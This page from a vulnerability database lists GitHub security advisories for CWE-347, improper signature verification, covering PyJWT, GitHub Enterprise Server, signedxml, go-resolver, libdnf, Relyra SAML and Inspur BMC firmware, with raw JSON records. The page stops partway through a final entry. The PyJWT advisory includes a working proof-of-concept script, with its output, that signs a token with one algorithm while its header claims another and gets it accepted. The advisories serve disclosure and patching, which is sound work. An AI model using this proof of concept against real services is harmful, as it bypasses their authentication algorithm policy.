Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1121 vulnerabilities reference this CWE, most recent first.

GHSA-JQ35-7PRP-9V3F

Vulnerability from github – Published: 2026-06-15 19:27 – Updated: 2026-06-15 19:27
VLAI
Summary
PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys
Details

[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:

if algorithms is None and isinstance(key, PyJWK):
    algorithms = [key.algorithm_name]

...

if not alg or (algorithms is not None and alg not in algorithms):
    raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK):
    alg_obj = key.Algorithm
    prepared_key = key.key
else:
    alg_obj = self.get_algorithm_by_name(alg)
    prepared_key = alg_obj.prepare_key(key)

This logic means:

  1. The JWT header alg is checked only as a string against the caller-supplied allow-list.
  2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm.
  3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:

if not algorithm and isinstance(self._jwk_data, dict):
    algorithm = self._jwk_data.get("alg", None)

...

self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
    token,
    signing_key,
    audience="https://expenses-api",
    options={"verify_exp": False},
    algorithms=["RS256"],
)

PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

  • self-service OAuth client assertions
  • multi-tenant key registration
  • federation / BYO-JWKS trust models
  • any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode

# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))

# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}

header_b64 = base64url_encode(
    json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
    json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])

# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()

print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:")
try:
    print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
    print(f"{type(e).__name__}: {e}")

Observed output:

PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

  • the caller restricted allowed algorithms to ["RS512"]
  • the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

  • If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
  • If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

  • JWT client assertion flows where each client uses its own key
  • multitenant systems where tenants register JWK/JWKS material
  • federation-style trust models
  • any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

  • bypass a server-side requirement such as "only PS256" or "only RS512"
  • continue using a deprecated or blocked algorithm after the server thought it had disabled it
  • authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

  • it does not let an attacker forge tokens without access to a valid signing key or signing oracle
  • it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:27:48Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n    algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n    raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n    alg_obj = key.Algorithm\n    prepared_key = key.key\nelse:\n    alg_obj = self.get_algorithm_by_name(alg)\n    prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n    algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n    token,\n    signing_key,\n    audience=\"https://expenses-api\",\n    options={\"verify_exp\": False},\n    algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n    json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n    json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n    print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n    print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
  "id": "GHSA-jq35-7prp-9v3f",
  "modified": "2026-06-15T19:27:48Z",
  "published": "2026-06-15T19:27:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys"
}

GHSA-JQQP-8W3H-PWG3

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-09-05 15:31
VLAI
Details

An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed signature spoofing for unauthorized internal users. Instances not utilizing SAML single sign-on or where the attacker is not already an existing user were not impacted. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12.14, 3.13.10, 3.14.7, 3.15.2, and 3.16.0. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.1 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-23369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T19:15:12Z",
    "severity": "MODERATE"
  },
  "details": "An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed signature spoofing for unauthorized internal users.  Instances not utilizing SAML single sign-on or where the attacker is not already an existing user were not impacted. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12.14, 3.13.10, 3.14.7, 3.15.2, and 3.16.0. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-jqqp-8w3h-pwg3",
  "modified": "2025-09-05T15:31:06Z",
  "published": "2025-01-21T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23369"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JQVR-J2VG-GJRV

Vulnerability from github – Published: 2023-05-30 06:30 – Updated: 2025-01-13 15:41
VLAI
Summary
Signature validation bypass in github.com/moov-io/signedxml
Details

In Moov signedxml through 1.0.0, parsing the raw XML (as received) can result in different output than parsing the canonicalized XML. Thus, signature validation can be bypassed via a Signature Wrapping attack (aka XSW).

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moov-io/signedxml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T01:39:24Z",
    "nvd_published_at": "2023-05-30T04:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "In Moov signedxml through 1.0.0, parsing the raw XML (as received) can result in different output than parsing the canonicalized XML. Thus, signature validation can be bypassed via a Signature Wrapping attack (aka XSW).",
  "id": "GHSA-jqvr-j2vg-gjrv",
  "modified": "2025-01-13T15:41:52Z",
  "published": "2023-05-30T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moov-io/signedxml/issues/23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moov-io/signedxml/pull/25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moov-io/signedxml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moov-io/signedxml/releases/tag/v1.1.0"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2023-1826"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signature validation bypass in github.com/moov-io/signedxml"
}

GHSA-JR65-GPJ5-CW74

Vulnerability from github – Published: 2022-12-28 03:30 – Updated: 2022-12-29 00:33
VLAI
Summary
go-resolver's DNSSEC validation not performed correctly
Details

go-resolver's DNSSEC validation is not performed correctly. An attacker can cause this package to report successful validation for invalid, attacker-controlled records. Root DNSSEC public keys are not validated, permitting an attacker to present a self-signed root key and delegation chain.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/peterzen/goresolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-29T00:33:22Z",
    "nvd_published_at": "2022-12-28T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "go-resolver\u0027s DNSSEC validation is not performed correctly. An attacker can cause this package to report successful validation for invalid, attacker-controlled records. Root DNSSEC public keys are not validated, permitting an attacker to present a self-signed root key and delegation chain.",
  "id": "GHSA-jr65-gpj5-cw74",
  "modified": "2022-12-29T00:33:22Z",
  "published": "2022-12-28T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3347"
    },
    {
      "type": "WEB",
      "url": "https://github.com/peterzen/goresolver/issues/5#issuecomment-1150214257"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/peterzen/goresolver"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-1026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-resolver\u0027s DNSSEC validation not performed correctly"
}

GHSA-JRCF-96J2-JPVH

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

A flaw was found in libdnf's signature verification functionality in versions before 0.60.1. This flaw allows an attacker to achieve code execution if they can alter the header information of an RPM package and then trick a user or system into installing it. The highest risk of this vulnerability is to confidentiality, integrity, as well as system availability.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-19T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in libdnf\u0027s signature verification functionality in versions before 0.60.1. This flaw allows an attacker to achieve code execution if they can alter the header information of an RPM package and then trick a user or system into installing it. The highest risk of this vulnerability is to confidentiality, integrity, as well as system availability.",
  "id": "GHSA-jrcf-96j2-jpvh",
  "modified": "2022-05-24T19:02:47Z",
  "published": "2022-05-24T19:02:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3445"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1932079"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DPMFGGQ5T6WVFTFX3OKMVTTM5O4EXWZR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/G4NL7TNWAHJ6JVRABQUPWHKKCTHUZMNF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JV46-XFWM-36J7

Vulnerability from github – Published: 2026-06-26 21:05 – Updated: 2026-06-26 21:05
VLAI
Summary
Relyra SAML SignatureValue not cryptographically verified -> authentication bypass
Details

Summary

Relyra 1.0.0 and 1.1.0 accept forged SAML signatures because SignatureValue was not cryptographically verified before the library returned a successful authentication result.

Details

In 1.0.0 and 1.1.0, the XMLDSig trust boundary was incomplete. :public_key.verify over the exclusive-C14N canonicalized SignedInfo was not performed against the configured IdP certificate's public key, DigestValue was not recomputed over the canonicalized referenced element, and canonicalize/2 remained an unused passthrough in the signature-verification path. The result was a structure-only acceptance path where document shape and trust-source rejection could succeed without proving the signature bytes.

Impact

A forged SignatureValue carrying an attacker-controlled NameID can be accepted as {:ok}. Any relying-party application using Relyra 1.0.0 or 1.1.0 can be logged into as an arbitrary user if it trusts the affected response path.

Patches

Relyra 1.2.0 closes the gap with real exclusive-C14N canonicalization, :public_key.verify against the configured IdP certificate's public key, and a constant-time DigestValue recompute/compare bound to the exact consumed node on both verify/4 and verify_metadata_root/4.

Workarounds

There is no safe configuration of 1.0.0 or 1.1.0. Upgrade to 1.2.0 or later.

Resources

  • Fix commit 2e45689 (wire real XMLDSig crypto into the candidate arm)
  • Fix commit 8910200 (close metadata trust bypass, pin over DER)
  • Regression proof: test/security/xml/adversarial_crypto_test.exs, test/relyra/metadata/auto_refresh_test.exs, test/security/ci_gate_integrity_test.exs
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "relyra"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:05:13Z",
    "nvd_published_at": "2026-06-18T21:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nRelyra `1.0.0` and `1.1.0` accept forged SAML signatures because `SignatureValue` was not cryptographically verified before the library returned a successful authentication result.\n\n## Details\n\nIn `1.0.0` and `1.1.0`, the XMLDSig trust boundary was incomplete. `:public_key.verify` over the exclusive-C14N canonicalized `SignedInfo` was not performed against the configured IdP certificate\u0027s public key, `DigestValue` was not recomputed over the canonicalized referenced element, and `canonicalize/2` remained an unused passthrough in the signature-verification path. The result was a structure-only acceptance path where document shape and trust-source rejection could succeed without proving the signature bytes.\n\n## Impact\n\nA forged `SignatureValue` carrying an attacker-controlled `NameID` can be accepted as `{:ok}`. Any relying-party application using Relyra `1.0.0` or `1.1.0` can be logged into as an arbitrary user if it trusts the affected response path.\n\n## Patches\n\nRelyra `1.2.0` closes the gap with real exclusive-C14N canonicalization, `:public_key.verify` against the configured IdP certificate\u0027s public key, and a constant-time `DigestValue` recompute/compare bound to the exact consumed node on both `verify/4` and `verify_metadata_root/4`.\n\n## Workarounds\n\nThere is no safe configuration of `1.0.0` or `1.1.0`. Upgrade to `1.2.0` or later.\n\n## Resources\n\n- Fix commit `2e45689` (wire real XMLDSig crypto into the candidate arm)\n- Fix commit `8910200` (close metadata trust bypass, pin over DER)\n- Regression proof: `test/security/xml/adversarial_crypto_test.exs`, `test/relyra/metadata/auto_refresh_test.exs`, `test/security/ci_gate_integrity_test.exs`",
  "id": "GHSA-jv46-xfwm-36j7",
  "modified": "2026-06-26T21:05:13Z",
  "published": "2026-06-26T21:05:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/szTheory/relyra/security/advisories/GHSA-jv46-xfwm-36j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/szTheory/relyra/commit/2e456897af3158c175bb490ce7fc51d6241c8922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/szTheory/relyra/commit/8910200"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/szTheory/relyra"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Relyra SAML SignatureValue not cryptographically verified -\u003e authentication bypass"
}

GHSA-JVRJ-MG4M-MPX3

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35
VLAI
Details

Inspur NF5266M5 through 3.21.2 and other server M5 devices allow remote code execution via administrator privileges. The Baseboard Management Controller (BMC) program of INSPUR server is weak in checking the firmware and lacks the signature verification mechanism, the attacker who obtains the administrator's rights can control the BMC by inserting malicious code into the firmware program and bypassing the current verification mechanism to upgrade the BMC.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-26122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-07T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Inspur NF5266M5 through 3.21.2 and other server M5 devices allow remote code execution via administrator privileges. The Baseboard Management Controller (BMC) program of INSPUR server is weak in checking the firmware and lacks the signature verification mechanism, the attacker who obtains the administrator\u0027s rights can control the BMC by inserting malicious code into the firmware program and bypassing the current verification mechanism to upgrade the BMC.",
  "id": "GHSA-jvrj-mg4m-mpx3",
  "modified": "2022-05-24T17:35:26Z",
  "published": "2022-05-24T17:35:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26122"
    },
    {
      "type": "WEB",
      "url": "https://en.inspur.com/en/2487134/index.html"
    },
    {
      "type": "WEB",
      "url": "https://en.inspur.com/en/security_bulletins/security_advisory2/2543921/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JW9C-MFG7-9RX2

Vulnerability from github – Published: 2024-09-10 19:42 – Updated: 2026-06-08 23:17
VLAI
Summary
